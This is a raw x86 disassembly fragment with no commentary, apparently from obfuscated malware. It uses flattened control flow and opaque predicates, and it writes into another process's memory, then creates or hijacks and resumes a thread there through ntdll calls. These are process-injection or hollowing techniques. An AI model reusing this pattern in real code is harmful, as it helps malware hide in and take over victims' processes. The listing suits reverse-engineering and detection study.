sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x25], al
mov eax, dword [0x1006bb38]
mov ecx, dword [0x1006bb34]
mov edx, eax
sub edx, 0x7a02c9ed
sub edx, 1
add edx, 0x7a02c9ed
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb477cfea
mov ecx, 0xad741a03
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dl, byte [ebp - 0x25]
mov eax, 0x1ad237d3
mov ecx, 0x7e081018
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0xa531093f
sub ecx, eax
sub ecx, 0xa531093f
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0x64c26718
jmp 0x10006be4
mov dword [ebp - 0x150], 0xda0c65c3
jmp 0x10006be4
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov ecx, dword [ebp - 0x14]
add ecx, 0xc917b5d5
add ecx, eax
sub ecx, 0xc917b5d5
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x150], 0xe63b16e2
jmp 0x10006be4
mov dword [ebp - 0x150], 0x4b6ed910
jmp 0x10006be4
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1006bb38]
mov eax, dword [0x1006bb34]
mov edx, ecx
sub edx, 0x15a2120b
sub edx, 1
add edx, 0x15a2120b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf631f09
mov ecx, 0xcd201281
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x150], eax
jmp 0x10006be4
mov dword [ebp - 0x150], 0xa9a792e
jmp 0x10006be4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10007090
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xc8]
mov dword [ebp - 0x150], 0x2114fa4d
jmp 0x10006be4
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x150], 0x6aa50a5b
jmp 0x10006be4
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x150], 0xd6bc6e41
jmp 0x10006be4
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x150], 0x20ee75e
jmp 0x10006be4
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xb64b0909
jmp 0x10006be4
mov dword [ebp - 0x150], 0xb9655eac
jmp 0x10006be4
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
sub ecx, 0xa0a16265
add ecx, 1
add ecx, 0xa0a16265
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x150], 0xffaaaef4
jmp 0x10006be4
mov eax, dword [ebp - 0x2c]
mov edx, dword [eax]
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x30]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x150], 0xd8e1a8df
jmp 0x10006be4
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x150], 0x3dac2ed8
jmp 0x10006be4
mov eax, dword [ebp - 0x138]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x150], 0x996c4e92
jmp 0x10003937